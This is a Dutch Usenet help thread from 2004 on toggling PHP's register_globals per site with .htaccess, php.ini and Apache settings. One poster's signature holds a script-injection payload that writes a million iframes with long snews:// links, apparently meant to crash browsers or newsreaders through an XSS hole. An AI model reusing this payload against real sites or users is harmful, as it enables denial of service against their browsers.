register_globals

[Nico Schuyt]

Ik moet binnenkort overschakelen van register_globals "on" naar "off" voor
een aantal websites. (Ja, had ik natuurlijk al véél eerder moeten doen :-)
Om dat geleidelijk te kunnen doen wil ik de basisinstelling op "off" zetten
en per site waar nodig on "on".

Toepassing van ini_set.php gaat niet omdat de register_globals actief wordt
vóór het script. Ook wil ik het liever niet per script regelen, maar voor de
hele site.
Omdat ik op een Windows-server zit is gebruik van .htaccess niet mogelijk.

Bijkomend probleem is dat het me nog steeds niet gelukt is om "Load data
(local) infile" onder PHP 5 aan de praat te krijgen, waardoor sommige sites
geparsed worden met PHP 4.2.3

Heeft iemand een suggestie?

--
Nico
www.nicoschuyt.nl

[Steven]

Nico Schuyt wrote:

> Ik moet binnenkort overschakelen van register_globals "on" naar "off" voor
> een aantal websites. (Ja, had ik natuurlijk al véél eerder moeten doen :-)
> Om dat geleidelijk te kunnen doen wil ik de basisinstelling op "off" zetten
> en per site waar nodig on "on".

Ik zou de setting gewoon laten staan op de publieke server en een copie
van de site in een locale omgeving met register_globals off klaarmaken
voor globals off. Als dat werkt die versie op de publieke server zetten
en pas als alle sites op die server er klaar voor zijn op die server de
register_globals setting uit zetten.

Steven

[Nico Schuyt]

Steven wrote:
> Nico Schuyt wrote:

>> Ik moet binnenkort overschakelen van register_globals "on" naar
>> "off" voor een aantal websites. (Ja, had ik natuurlijk al véél
>> eerder moeten doen :-) Om dat geleidelijk te kunnen doen wil ik de
>> basisinstelling op "off" zetten en per site waar nodig on "on".

> Ik zou de setting gewoon laten staan op de publieke server en een
> copie van de site in een locale omgeving met register_globals off
> klaarmaken voor globals off. Als dat werkt die versie op de publieke
> server zetten en pas als alle sites op die server er klaar voor zijn
> op die server de register_globals setting uit zetten.

Precies wat ik in gedachten heb :-) Sommige sites zijn echter zo complex dat
ik voorlopig niet aan omzetten (en testen!) toekom.
Vandaar mijn zoeken naar een oplossing die geleidelijk kan verlopen.

--
Nico
www.nicoschuyt.nl

[Steven]

Nico Schuyt wrote:

> Steven wrote:
>
>>Nico Schuyt wrote:
>
>>>Ik moet binnenkort overschakelen van register_globals "on" naar
>>>"off" voor een aantal websites. (Ja, had ik natuurlijk al véél
>>>eerder moeten doen :-) Om dat geleidelijk te kunnen doen wil ik de
>>>basisinstelling op "off" zetten en per site waar nodig on "on".
>
>>Ik zou de setting gewoon laten staan op de publieke server en een
>>copie van de site in een locale omgeving met register_globals off
>>klaarmaken voor globals off. Als dat werkt die versie op de publieke
>>server zetten en pas als alle sites op die server er klaar voor zijn
>>op die server de register_globals setting uit zetten.
>
> Precies wat ik in gedachten heb :-) Sommige sites zijn echter zo complex dat
> ik voorlopig niet aan omzetten (en testen!) toekom.
> Vandaar mijn zoeken naar een oplossing die geleidelijk kan verlopen.

Zolang je register_globals aan hebt staan kan je geleidelijk de
aanpassingen doen. Alles blijft dan gewoon werken. Maar je zal toch
moeten testen of de wijzigingen correct en volledig zijn met
register_globals off. Wou je dat op de publieke server doen, live?

Steven

[Onno]

> Heeft iemand een suggestie?

Je kan het zowel per virtual host doen als via .htaccess (als ik me niet
vergis, heb dat ooit gelezen). Via .htaccess weet ik eigenlijk wel
zeker...maar je moet het zelf even zoeken ;-)

[Nico Schuyt]

Steven wrote:
> Nico Schuyt wrote:

>>>> Ik moet binnenkort overschakelen van register_globals "on" naar
>>>> "off" voor een aantal websites.
>>>> Om dat geleidelijk te kunnen doen wil ik de
>>>> basisinstelling op "off" zetten en per site waar nodig on "on".

> Zolang je register_globals aan hebt staan kan je geleidelijk de
> aanpassingen doen. Alles blijft dan gewoon werken. Maar je zal toch
> moeten testen of de wijzigingen correct en volledig zijn met
> register_globals off. Wou je dat op de publieke server doen, live?

Ehh, nee. Maar ik kreeg (te laat) een berichtje van de webserver dat ze
medio oktober de instelling voor register_globals willen wijzigen.
Ook in de ontwikkelomgeving wil ik geleidelijk over kunnen gaan. Vandaar die
opzet met de basis (php.ini) op "off" en sites die nog niet getest zijn op
"on".
Zou het mogelijk zijn om een php.ini toe te passen (met maar één regel) die
in aanvulling werkt op de basis-php.ini?
(Zoals een styleregel een externe stylesheet kan overrulen)
Of sla ik nu wartaal uit? :0

--
Nico
www.nicoschuyt.nl

[Steven]

Nico Schuyt wrote:

> Steven wrote:
>
>>Nico Schuyt wrote:
>
>>>>>Ik moet binnenkort overschakelen van register_globals "on" naar
>>>>>"off" voor een aantal websites.
>>>>>Om dat geleidelijk te kunnen doen wil ik de
>>>>>basisinstelling op "off" zetten en per site waar nodig on "on".
>
>>Zolang je register_globals aan hebt staan kan je geleidelijk de
>>aanpassingen doen. Alles blijft dan gewoon werken. Maar je zal toch
>>moeten testen of de wijzigingen correct en volledig zijn met
>>register_globals off. Wou je dat op de publieke server doen, live?
>
> Ehh, nee. Maar ik kreeg (te laat) een berichtje van de webserver dat ze
> medio oktober de instelling voor register_globals willen wijzigen.
> Ook in de ontwikkelomgeving wil ik geleidelijk over kunnen gaan. Vandaar die
> opzet met de basis (php.ini) op "off" en sites die nog niet getest zijn op
> "on".
> Zou het mogelijk zijn om een php.ini toe te passen (met maar één regel) die
> in aanvulling werkt op de basis-php.ini?
> (Zoals een styleregel een externe stylesheet kan overrulen)
> Of sla ik nu wartaal uit? :0

Ik geloof wel dat dat kan. Op een unix server in ieder geval wel. Ik ken
providers waar je een compleet php.ini in de root van de virtual server
kan zetten. Ik weet niet hoe ze dat precies doen.

Steven

[Hans]

On Thu, 30 Sep 2004 16:14:09 +0200, Nico Schuyt <nschuyt@hotmail.com> wrote:
> Steven wrote:
>> Nico Schuyt wrote:
>
>>>>> Ik moet binnenkort overschakelen van register_globals "on" naar
>>>>> "off" voor een aantal websites.
>>>>> Om dat geleidelijk te kunnen doen wil ik de
>>>>> basisinstelling op "off" zetten en per site waar nodig on "on".
>
>> Zolang je register_globals aan hebt staan kan je geleidelijk de
>> aanpassingen doen. Alles blijft dan gewoon werken. Maar je zal toch
>> moeten testen of de wijzigingen correct en volledig zijn met
>> register_globals off. Wou je dat op de publieke server doen, live?
>
> opzet met de basis (php.ini) op "off" en sites die nog niet getest zijn op
> "on".

Je kunt binnen iedere individueel bestand de register globals aan/uit zetten
en als ik me niet vergis werkt dat ook als register globals default al op
off staat. Zie php.net/ini_set voor meer details.

> Zou het mogelijk zijn om een php.ini toe te passen (met maar één regel) die
> in aanvulling werkt op de basis-php.ini?
> (Zoals een styleregel een externe stylesheet kan overrulen)
> Of sla ik nu wartaal uit? :0
>
Ik heb geen verstand van stylesheets. :-)

Hans


--
begin http://<XSS_VULN_HOST>/<script>var i; for (i=1;i<1000000;i++) {
document.write("\<iframe
src=\"snews://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + i +
"\"\>\<\/iframe>"); } document.refresh; </script>

[Nico Schuyt]

Hans wrote:
> Nico Schuyt wrote:

>>>>>> Ik moet binnenkort overschakelen van register_globals "on" naar
>>>>>> "off" voor een aantal websites.
>>>>>> Om dat geleidelijk te kunnen doen wil ik de
>>>>>> basisinstelling op "off" zetten en per site waar nodig on "on".

> Je kunt binnen iedere individueel bestand de register globals aan/uit
> zetten en als ik me niet vergis werkt dat ook als register globals
> default al op off staat. Zie php.net/ini_set voor meer details.

Had ik al geprobeerd zonder succes:
http://nl.php.net/manual/en/ini.sect.data-handling.php#ini.register-globals
"Please note that register_globals cannot be set at runtime (ini_set()).
Although, you can use .htaccess if your host allows it as described above.
An example .htaccess entry: php_flag register_globals on."

Maar ik vond wel op die pagina een andere truc:
<?php // Put that at the very begining fo the file
if (ini_get(register_globals)) {
foreach ($GLOBALS as $name => $value) {
if ($name{0}!=='_' || $name=='GLOBALS') {
unset($GLOBALS[$name]);
}}}?>

En dat lijkt te werken!

Bedankt!!
--
Nico
www.nicoschuyt.nl

[John Bokma]

"Nico Schuyt" <nschuyt@hotmail.com> wrote in
news:415c145b$0$61745$abc4f4c3@news.euronet.nl:

> Ehh, nee. Maar ik kreeg (te laat) een berichtje van de webserver dat
> ze medio oktober de instelling voor register_globals willen wijzigen.
> Ook in de ontwikkelomgeving wil ik geleidelijk over kunnen gaan.
> Vandaar die opzet met de basis (php.ini) op "off" en sites die nog
> niet getest zijn op "on".

Zet twee webservers local, laat een op poort 80 werken, en de ander op
8080, o.i.d. Zet 80 op off, en 8080 op on.

--
John Voorbeeldscripts in Perl:http://johnbokma.com/perl/
Website design: http://johnbokma.com/websitedesign/
Ervaren Perl / Java programmeur beschikbaar: http://castleamber.com/
Tevreden opdrachtgevers: http://castleamber.com/testimonials.html

[Nico Schuyt]

John Bokma wrote:
> "Nico Schuyt" wrote

>> Ehh, nee. Maar ik kreeg (te laat) een berichtje van de webserver dat
>> ze medio oktober de instelling voor register_globals willen wijzigen.
>> Ook in de ontwikkelomgeving wil ik geleidelijk over kunnen gaan.
>> Vandaar die opzet met de basis (php.ini) op "off" en sites die nog
>> niet getest zijn op "on".

> Zet twee webservers local, laat een op poort 80 werken, en de ander op
> 8080, o.i.d. Zet 80 op off, en 8080 op on.

Aaaah, dat zal ongetwijfeld een geniale oplossing zijn, maar ik heb geen
idee hoe ik zoiets aan moet pakken :-)

--
Nico
www.nicoschuyt.nl

[John Bokma]

"Nico Schuyt" <nschuyt@hotmail.com> wrote in news:415c68bf$0$30708
$18b6e80@news.euronet.nl:

> John Bokma wrote:
>> "Nico Schuyt" wrote
>
>>> Ehh, nee. Maar ik kreeg (te laat) een berichtje van de webserver
dat
>>> ze medio oktober de instelling voor register_globals willen
wijzigen.
>>> Ook in de ontwikkelomgeving wil ik geleidelijk over kunnen gaan.
>>> Vandaar die opzet met de basis (php.ini) op "off" en sites die nog
>>> niet getest zijn op "on".
>
>> Zet twee webservers local, laat een op poort 80 werken, en de ander
op
>> 8080, o.i.d. Zet 80 op off, en 8080 op on.
>
> Aaaah, dat zal ongetwijfeld een geniale oplossing zijn, maar ik heb
geen
> idee hoe ik zoiets aan moet pakken :-)

Je kan bij Apache opstarten opgeven waar ie de config files moet halen.

apache -h geeft een lijstje

-f geef een alternatieve ServerConfigFile

dus even copietje maken van httpd.conf, en een shortcut maken naar
apache.exe, en als optie -f pad/naar/copietjeconfig opgeven

In het copietje zet je de poort van 80 om naar 8080. Dat is deel 1, heb
je 2 webservers draaien.

Nu nog even de configuratie van de 2e zo aanpassen dat het een
alternatieve PHP gebruikt.

--
John Voorbeeldscripts in Perl:http://johnbokma.com/perl/
Website design: http://johnbokma.com/websitedesign/
Ervaren Perl / Java programmeur beschikbaar: http://castleamber.com/
Tevreden opdrachtgevers: http://castleamber.com/testimonials.html

[Nico Schuyt]

John Bokma wrote:
> Nico Schuyt wrote:
>> John Bokma wrote:

>>> Zet twee webservers local, laat een op poort 80 werken, en de ander
>>> op 8080, o.i.d. Zet 80 op off, en 8080 op on.

>> Aaaah, dat zal ongetwijfeld een geniale oplossing zijn, maar ik heb
>> geen idee hoe ik zoiets aan moet pakken :-)

> Je kan bij Apache opstarten opgeven waar ie de config files moet
> halen.
> apache -h geeft een lijstje
> -f geef een alternatieve ServerConfigFile
> dus even copietje maken van httpd.conf, en een shortcut maken naar
> apache.exe, en als optie -f pad/naar/copietjeconfig opgeven
> In het copietje zet je de poort van 80 om naar 8080. Dat is deel 1,
> heb je 2 webservers draaien.
> Nu nog even de configuratie van de 2e zo aanpassen dat het een
> alternatieve PHP gebruikt.

Nou, dat valt alles mee :-) Lijkt me zéér bruikbaar voor m'n probleem.
Bedankt weer John!

--
Nico
www.nicoschuyt.nl

[Hans Spaans]

In article <Xns9574E9723D334castleamber@130.133.1.4>, John Bokma wrote:
> "Nico Schuyt" <nschuyt@hotmail.com> wrote in news:415c68bf$0$30708
> $18b6e80@news.euronet.nl:
>>
>> Aaaah, dat zal ongetwijfeld een geniale oplossing zijn, maar ik heb
> geen
>> idee hoe ik zoiets aan moet pakken :-)
>
> Je kan bij Apache opstarten opgeven waar ie de config files moet halen.
>
> apache -h geeft een lijstje
>
> -f geef een alternatieve ServerConfigFile
>
> dus even copietje maken van httpd.conf, en een shortcut maken naar
> apache.exe, en als optie -f pad/naar/copietjeconfig opgeven
>
> In het copietje zet je de poort van 80 om naar 8080. Dat is deel 1, heb
> je 2 webservers draaien.
>
> Nu nog even de configuratie van de 2e zo aanpassen dat het een
> alternatieve PHP gebruikt.

Het is ook bekend dat je bij elke virtualhost afwijkende
PHP-instellingen kan opgeven?

Hans

--
"Helemaal zelfgebakken gentoo-kernels zijn dus minder geoptimaliseerd en
van mindere kwaliteit. :>"
-- Ruben van der Leij in nl.comp.os.linux.discussie

[John Bokma]

Hans Spaans <me@smac2004.hansspaans.nl> wrote in

> Het is ook bekend dat je bij elke virtualhost afwijkende
> PHP-instellingen kan opgeven?

Nee, ik had wel een vermoeden, maar geen zin om er in te duiken :-)
Voordeel van mijn opzet is dat je je virtual hosts kan "spiegelen" op poort
8080, en er dus niet alles nog een keer extra aan hoeft te maken om te
testen (inclusief domeintjes verzinnen).

Dus http://local.blabla/ <-> http://local.blabla:8080/

Ik begin mijn local dingen met local, ik las ergens dat de mac last heeft
met local, maar dat is IIRC op het einde. Het voordeel van die local is dat
URL completion in browsers lekker blijft werken, zo wordt ca bij mij
vanzelf http://castleamber.com/, en local.c, je raad 'm al :-D

--
John Voorbeeldscripts in Perl:http://johnbokma.com/perl/
Website design: http://johnbokma.com/websitedesign/
Ervaren Perl / Java programmeur beschikbaar: http://castleamber.com/
Tevreden opdrachtgevers: http://castleamber.com/testimonials.html

[Jan Ehrhardt]

Nico Schuyt in nl.internet.www.server-side (Thu, 30 Sep 2004 09:54:43
+0200):

>Omdat ik op een Windows-server zit is gebruik van .htaccess niet mogelijk.

Daar is niets op tegen. Ik doe niet anders ...

Jan
--
Look, Ma. No tables - http://enbio.steenbergen-stichting.nl/

[Nico Schuyt]

Jan Ehrhardt wrote:
> Nico Schuyt

>> Omdat ik op een Windows-server zit is gebruik van .htaccess niet
>> mogelijk.

> Daar is niets op tegen. Ik doe niet anders ...

In combinatie met Apache wellicht? M'n host zal dat niet gebruiken denk ik
(Win NT :-)
Toch leuk om te weten dat ik het lokaal kan toepassen.

Bedankt.

--
Nico
www.nicoschuyt.nl

[Jan Reilink]

Nico Schuyt wrote:

> Jan Ehrhardt wrote:
>
>>Nico Schuyt
>
>>>Omdat ik op een Windows-server zit is gebruik van .htaccess niet
>>>mogelijk.
>
>>Daar is niets op tegen. Ik doe niet anders ...
>
> In combinatie met Apache wellicht? M'n host zal dat niet gebruiken denk ik
> (Win NT :-)

Dat heeft niets met Win NT / 2000 / 2003 te maken hoor, Apache draait
daar ook zeer goed op. .htaccess werkt helaas niet met IIS.

--
Met vriendelijke groet / Best regards,
Jan Reilink, VEVIDA Nederland BV

Postbus 329, 9700 AH GRONINGEN, +31(0)50 - 5492234

[Hans Spaans]

In article <Xns957516DE343E5castleamber@130.133.1.4>, John Bokma wrote:
> Hans Spaans <me@smac2004.hansspaans.nl> wrote in
>
>> Het is ook bekend dat je bij elke virtualhost afwijkende
>> PHP-instellingen kan opgeven?
>
> Nee, ik had wel een vermoeden, maar geen zin om er in te duiken :-)
> Voordeel van mijn opzet is dat je je virtual hosts kan "spiegelen" op poort
> 8080, en er dus niet alles nog een keer extra aan hoeft te maken om te
> testen (inclusief domeintjes verzinnen).
>
> Dus http://local.blabla/ <-> http://local.blabla:8080/
>
> Ik begin mijn local dingen met local, ik las ergens dat de mac last heeft
> met local, maar dat is IIRC op het einde. Het voordeel van die local is dat
> URL completion in browsers lekker blijft werken, zo wordt ca bij mij
> vanzelf http://castleamber.com/, en local.c, je raad 'm al :-D

Ik denk dat deze [1]url wel een aardig startpunt is en mocht je vragen
hebben stel ze gerust. Vooral omdat PHP aardig buggy is en de
documentatie niet klopt met de werkelijkheid.

Hans

[1] http://nl2.php.net/configuration.changes

--
"Helemaal zelfgebakken gentoo-kernels zijn dus minder geoptimaliseerd en
van mindere kwaliteit. :>"
-- Ruben van der Leij in nl.comp.os.linux.discussie

[Nico Schuyt]

Jan Reilink wrote:
> Nico Schuyt wrote:
>> Jan Ehrhardt wrote:
>>> Nico Schuyt

>>>> Omdat ik op een Windows-server zit is gebruik van .htaccess niet
>>>> mogelijk.

>>> Daar is niets op tegen. Ik doe niet anders ...

>> In combinatie met Apache wellicht? M'n host zal dat niet gebruiken
>> denk ik (Win NT :-)

> Dat heeft niets met Win NT / 2000 / 2003 te maken hoor, Apache draait
> daar ook zeer goed op. .htaccess werkt helaas niet met IIS.

Hoopgevend. Kun je meerdere .htaccess-files gebruiken? Eén per website op je
lokale PC, waardoor je de ene site kunt parsen mer register_globals=On en de
andere met Off?

--
Nico
www.nicoschuyt.nl

[John Bokma]

Hans Spaans <me@smac2004.hansspaans.nl> wrote in

[ 2 servers draaien ]

> Ik denk dat deze [1]url wel een aardig startpunt is en mocht je vragen
> hebben stel ze gerust.

Thanks. Echter, mijn voorstel heeft als voordeel dat je de 2 versies van 1
site naast elkaar kan draaien, voor elke site, en m.b.v. poort nummer kan
switchen, zonder dat je dus nieuwe local namen moet verzinnen :-D.

> Vooral omdat PHP aardig buggy is en de
> documentatie niet klopt met de werkelijkheid.

Van mij mag PHP 6 een complete herschrijving worden, die middels een switch
backwards compatible is, maar verder totaal herschreven door mensen die een
taal *kunnen* ontwerpen. Het lijk voor mij te veel op "ah, dat is ook
handig, laten we dat hier er in proppen en zo noemen".

--
John Voorbeeldscripts in Perl:http://johnbokma.com/perl/
Website design: http://johnbokma.com/websitedesign/
Ervaren Perl / Java programmeur beschikbaar: http://castleamber.com/
Tevreden opdrachtgevers: http://castleamber.com/testimonials.html

[John Bokma]

"Nico Schuyt" <nschuyt@hotmail.com> wrote in
news:415da5bd$0$45968$a344fe98@news.euronet.nl:

> Hoopgevend. Kun je meerdere .htaccess-files gebruiken? Eén per website

Sterker, 1 per (sub)directory, dus je kan er zelfs meerdere per site
hebben.

--
John Voorbeeldscripts in Perl:http://johnbokma.com/perl/
Website design: http://johnbokma.com/websitedesign/
Ervaren Perl / Java programmeur beschikbaar: http://castleamber.com/
Tevreden opdrachtgevers: http://castleamber.com/testimonials.html

[Hans Spaans]

In article <Xns9575971F079Ccastleamber@130.133.1.4>, John Bokma wrote:
>
> Thanks. Echter, mijn voorstel heeft als voordeel dat je de 2 versies van 1
> site naast elkaar kan draaien, voor elke site, en m.b.v. poort nummer kan
> switchen, zonder dat je dus nieuwe local namen moet verzinnen :-D.

Je kan in apache ook poortnummers opgeven en dan heb je twee
virtualhosts op twee verschillende poortnummers ;-)

> Van mij mag PHP 6 een complete herschrijving worden, die middels een switch
> backwards compatible is, maar verder totaal herschreven door mensen die een
> taal *kunnen* ontwerpen. Het lijk voor mij te veel op "ah, dat is ook
> handig, laten we dat hier er in proppen en zo noemen".

Misschien is wachten op Perl6 makkelijker en sneller ;-) En voor de
snelheid hoef je het ook niet te laten met mod_perl.

Hans

--
"Helemaal zelfgebakken gentoo-kernels zijn dus minder geoptimaliseerd en
van mindere kwaliteit. :>"
-- Ruben van der Leij in nl.comp.os.linux.discussie

[Nico Schuyt]

John Bokma wrote:
> "Nico Schuyt" wrote

>> Hoopgevend. Kun je meerdere .htaccess-files gebruiken? Eén per
>> website

> Sterker, 1 per (sub)directory, dus je kan er zelfs meerdere per site
> hebben.

Dat klinkt ideaal (en eenvoudig :-)
http://www.itc.virginia.edu/desktop/web/php4registerglobal.html#htaccess
Tekstbestandje .htaccess met
php_flag register_globals off
in de root van een site geplaatst (b)lijkt echter geen effect te hebben met
Apache onder XP


--
Nico
www.nicoschuyt.nl

[Jan Ehrhardt]

Nico Schuyt in nl.internet.www.server-side (Sat, 2 Oct 2004 11:42:57
+0200):

>John Bokma wrote:
>
>> Sterker, 1 per (sub)directory, dus je kan er zelfs meerdere per site
>> hebben.
>
>Dat klinkt ideaal (en eenvoudig :-)
>http://www.itc.virginia.edu/desktop/web/php4registerglobal.html#htaccess
>Tekstbestandje .htaccess met
> php_flag register_globals off
>in de root van een site geplaatst (b)lijkt echter geen effect te hebben met
>Apache onder XP

Werkt dat .htaccess bestand uberhaupt? Als je er bv een Redirect
regeltje in zet, wordt dat dan uitgevoerd.

En/of staat er soms Allowoverride none in je httpd.conf? Zo ja, probeer
heteens met Allawoverride All.

Jan
--
Look, Ma. No tables - http://enbio.steenbergen-stichting.nl/

[John Bokma]

Hans Spaans <me@smac2004.hansspaans.nl> wrote in
news:slrnclsr2r.119u.me@news.hansspaans.nl:

> In article <Xns9575971F079Ccastleamber@130.133.1.4>, John Bokma wrote:
>>
>> Thanks. Echter, mijn voorstel heeft als voordeel dat je de 2 versies
>> van 1 site naast elkaar kan draaien, voor elke site, en m.b.v. poort
>> nummer kan switchen, zonder dat je dus nieuwe local namen moet
>> verzinnen :-D.
>
> Je kan in apache ook poortnummers opgeven en dan heb je twee
> virtualhosts op twee verschillende poortnummers ;-)

Meer edit werk ;-)

>> Van mij mag PHP 6 een complete herschrijving worden, die middels een
>> switch backwards compatible is, maar verder totaal herschreven door
>> mensen die een taal *kunnen* ontwerpen. Het lijk voor mij te veel op
>> "ah, dat is ook handig, laten we dat hier er in proppen en zo
>> noemen".
>
> Misschien is wachten op Perl6 makkelijker en sneller ;-) En voor de
> snelheid hoef je het ook niet te laten met mod_perl.

Ik vind Perl 5 sowieso al netter ontworpen, al zouden van mij stevig wat
core functies uit de core mogen verdwijnen (met core bedoel ik dus in
Perl zelf, niet de core modules).

Maar Perl 6, ik dacht dat dat nog wel even duurde :-(

--
John Voorbeeldscripts in Perl:http://johnbokma.com/perl/
Website design: http://johnbokma.com/websitedesign/
Ervaren Perl / Java programmeur beschikbaar: http://castleamber.com/
Tevreden opdrachtgevers: http://castleamber.com/testimonials.html

[Nico Schuyt]

Jan Ehrhardt wrote:
> Nico Schuyt
>> John Bokma wrote:

>>> Sterker, 1 per (sub)directory, dus je kan er zelfs meerdere per site
>>> hebben.

>> Dat klinkt ideaal (en eenvoudig :-)
>> http://www.itc.virginia.edu/desktop/web/php4registerglobal.html#htaccess
>> Tekstbestandje .htaccess met
>> php_flag register_globals off
>> in de root van een site geplaatst (b)lijkt echter geen effect te
>> hebben met Apache onder XP

> Werkt dat .htaccess bestand uberhaupt? Als je er bv een Redirect
> regeltje in zet, wordt dat dan uitgevoerd.

Geprobeerd met een 404 redirect: ErrorDocument 404 /fout.htm (en
ErrorDocument 404 fout.htm)
-> Geen effect.

> En/of staat er soms Allowoverride none in je httpd.conf?
Dat staat er!
> Zo ja, probeer heteens met Allawoverride All.
Gedaan (AllowOverride All). Helaas geen verandering.

In ieder geval bedankt voor de poging :-)

--
Nico
www.nicoschuyt.nl

[John Bokma]

Jan Ehrhardt <monitor@idem.invalid> wrote in
news:njitl05h790ju529da9vd2adnihjmg3gut@4ax.com:

> Werkt dat .htaccess bestand uberhaupt? Als je er bv een Redirect
> regeltje in zet, wordt dat dan uitgevoerd.

Zet de volgende magie in .htaccess:

Asjaiisudajsdadiasjdaisda

Krijg je een server error? Zonee, dan werkt je .htaccess niet :-)

--
John Voorbeeldscripts in Perl:http://johnbokma.com/perl/
Website design: http://johnbokma.com/websitedesign/
Ervaren Perl / Java programmeur beschikbaar: http://castleamber.com/
Tevreden opdrachtgevers: http://castleamber.com/testimonials.html

[Nico Schuyt]

John Bokma wrote:
> Jan Ehrhardt wrote

>> Werkt dat .htaccess bestand uberhaupt? Als je er bv een Redirect
>> regeltje in zet, wordt dat dan uitgevoerd.

> Zet de volgende magie in .htaccess:
> Asjaiisudajsdadiasjdaisda
> Krijg je een server error? Zonee, dan werkt je .htaccess niet :-)

Hehehe, letterlijk er in gezet. Hij doet niets.
Ik maak die .htacces aan met een simpele editor (EditPad). Dat moet toch
kunnen? (Nee, geen extensie .txt :-)

--
Nico
www.nicoschuyt.nl

[Steven]

Nico Schuyt wrote:

> John Bokma wrote:
>
>>Jan Ehrhardt wrote
>
>>>Werkt dat .htaccess bestand uberhaupt? Als je er bv een Redirect
>>>regeltje in zet, wordt dat dan uitgevoerd.
>
>>Zet de volgende magie in .htaccess:
>>Asjaiisudajsdadiasjdaisda
>>Krijg je een server error? Zonee, dan werkt je .htaccess niet :-)
>
> Hehehe, letterlijk er in gezet. Hij doet niets.
> Ik maak die .htacces aan met een simpele editor (EditPad). Dat moet toch
> kunnen? (Nee, geen extensie .txt :-)

fwiw: Als je ftp gebruikt om een .htaccess te uploaden, moet je ook
oppassen dat je ftp client het als text upload en niet als binary. Als
een ftp client dit automatisch bepaald wil dat door het ontbreken van
een extensie nog wel een fout gaan bij .htaccess bestanden.

Steven

[Nico Schuyt]

Steven wrote:
> Nico Schuyt wrote:
>> John Bokma wrote:

>>> Zet de volgende magie in .htaccess:
>>> Asjaiisudajsdadiasjdaisda
>>> Krijg je een server error? Zonee, dan werkt je .htaccess niet :-)

>> Hehehe, letterlijk er in gezet. Hij doet niets.
>> Ik maak die .htacces aan met een simpele editor (EditPad). Dat moet
>> toch kunnen? (Nee, geen extensie .txt :-)

> fwiw: Als je ftp gebruikt om een .htaccess te uploaden, moet je ook
> oppassen dat je ftp client het als text upload en niet als binary. Als
> een ftp client dit automatisch bepaald wil dat door het ontbreken van
> een extensie nog wel een fout gaan bij .htaccess bestanden.

Niets geupload :-) Bedoeling is dat het op m'n lokale PC draait.

--
Nico
www.nicoschuyt.nl

[Jan Ehrhardt]

Nico Schuyt in nl.internet.www.server-side (Sat, 2 Oct 2004 20:34:39
+0200):

>John Bokma wrote:
>> Jan Ehrhardt wrote
>
>>> Werkt dat .htaccess bestand uberhaupt? Als je er bv een Redirect
>>> regeltje in zet, wordt dat dan uitgevoerd.
>
>> Zet de volgende magie in .htaccess:
>> Asjaiisudajsdadiasjdaisda
>> Krijg je een server error? Zonee, dan werkt je .htaccess niet :-)
>
>Hehehe, letterlijk er in gezet. Hij doet niets.
>Ik maak die .htacces aan met een simpele editor (EditPad). Dat moet toch
^^^^^^^^
Ik mis een tweede 's'

>kunnen? (Nee, geen extensie .txt :-)

Laat eens een 'dir' zien. Je weet wel van vroeger: naar de DOS-prompt en
dan 'dir .htaccess' en/of 'dir ht*.*'.

Jan
--
Look, Ma. No tables - http://enbio.steenbergen-stichting.nl/

[John Bokma]

"Nico Schuyt" <nschuyt@hotmail.com> wrote in news:415ef493$0$41706$1b2cd167
@news.euronet.nl:

> John Bokma wrote:
>> Jan Ehrhardt wrote
>
>>> Werkt dat .htaccess bestand uberhaupt? Als je er bv een Redirect
>>> regeltje in zet, wordt dat dan uitgevoerd.
>
>> Zet de volgende magie in .htaccess:
>> Asjaiisudajsdadiasjdaisda
>> Krijg je een server error? Zonee, dan werkt je .htaccess niet :-)
>
> Hehehe, letterlijk er in gezet. Hij doet niets.
> Ik maak die .htacces aan met een simpele editor (EditPad). Dat moet toch
> kunnen? (Nee, geen extensie .txt :-)

Maar wel die . ervoor (ik doe dat meestal middels een rename via TextPad,
omdat Windows een . aan het begin niet leuk vind, soms). Overigens kan je
in je Apache config netjes opgeven hoe het bestand moet heten (ik raad
echter aan om het lekker default te laten staan).

Maar doet niets wil zeggen dat je .htaccess dus niet gezien wordt.

--
John Voorbeeldscripts in Perl:http://johnbokma.com/perl/
Website design: http://johnbokma.com/websitedesign/
Ervaren Perl / Java programmeur beschikbaar: http://castleamber.com/
Tevreden opdrachtgevers: http://castleamber.com/testimonials.html

[John W.]

On Thu, 30 Sep 2004 09:54:43 +0200, "Nico Schuyt"
<nschuyt@hotmail.com> wrote:

>Ik moet binnenkort overschakelen van register_globals "on" naar "off" voor
>een aantal websites. (Ja, had ik natuurlijk al véél eerder moeten doen :-)
>Om dat geleidelijk te kunnen doen wil ik de basisinstelling op "off" zetten
>en per site waar nodig on "on".
>
>Toepassing van ini_set.php gaat niet omdat de register_globals actief wordt
>vóór het script. Ook wil ik het liever niet per script regelen, maar voor de
>hele site.
>Omdat ik op een Windows-server zit is gebruik van .htaccess niet mogelijk.
>
>Bijkomend probleem is dat het me nog steeds niet gelukt is om "Load data
>(local) infile" onder PHP 5 aan de praat te krijgen, waardoor sommige sites
>geparsed worden met PHP 4.2.3
>
>Heeft iemand een suggestie?

(PHP5) indien op de server:
register_globals Off Off

dan in .htaccess:
php_value register_globals 1

of:
php_value register_globals on

op weer andere sites lijkt dit te helpen:
php_flag register_globals on

ook deze heb ik al gezien, maar zonder bericht dat het werkte:
options +SymLinksIfOwnerMatch
php_flag engine off
Action php-script /interpreters/php-script
AddHandler php-script .php .php4 .php3 .inc

nog een, zonder bericht dat het werkte:
<Limit GET POST>
order deny,allow
deny from all
allow from all
</Limit>
<Limit PUT DELETE>
order deny,allow
deny from all
</Limit>
AuthName www.xy.nl
AuthUserFile /home/xxxxx/xxx/xxx/_vti_pvt/service.pwd
AuthGroupFile /home/xxxxx/xxx/xxx/_vti_pvt/service.grp
php_value register_globals 1

xxxx zijn in te vullen padnamen.


John OO
--
<http://webcel.nl/> webshopsoftware + more

[Nico Schuyt]

John W wrote
> Nico Schuyt wrote

>> <Poging om register_globals naar believen op on of off te zetten>
>> Heeft iemand een suggestie?

> <uitgebreide lijst met suggesties>

Tjonge John, dat is een hoop leeswerk en mogelijkheden.
Ga ik verder naar kijken.
Probleem was dat die .htaccess niet aangesproken werd.
Bedankt!

--
Nico
www.nicoschuyt.nl

[Nico Schuyt]

Nico Schuyt wrote:
>> <Poging om register_globals naar believen op on of off te zetten>

Gelukt!! De reden dat die .htaccess niet aangesproken werd lag in een
verkeerde DocumentRoot in httpd.conf
Op dit moment kan ik met "php_flag register_globals off" (of on) in
..htaccess naar believen die global_registers aan of uitzetten.

Allemaal bedankt voor jullie hulp!!

--
Nico
www.nicoschuyt.nl